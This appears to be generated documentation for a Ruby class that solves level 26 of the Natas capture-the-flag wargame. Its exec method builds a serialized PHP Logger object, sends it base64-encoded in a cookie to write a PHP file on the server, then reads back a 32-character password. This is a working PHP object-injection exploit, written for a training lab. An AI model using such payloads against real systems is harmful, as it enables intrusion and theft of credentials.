class NatasLevel26

Level 26

Constants

DICT
LENGTH
LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 732
def exec
  id = String.new
  LENGTH.times { id << DICT.sample }
  file = "img/#{id}.php"

  payload = %(O:6:"Logger":3:{s:15:"\x00Logger\x00logFile";s:#{file.length}:"#{file}";s:15:"\x00Logger\x00initMsg";s:0:"";s:15:"\x00Logger\x00exitMsg";s:#{PAYLOAD.length}:"#{PAYLOAD}";})

  get(PAGE, { 'Cookie' => "drawing=#{Base64.strict_encode64(payload)}" })
  data = get("/#{file}").body
  match = /(\w{32})\n/.match(data)
  not_found unless match
  found(match[1])
end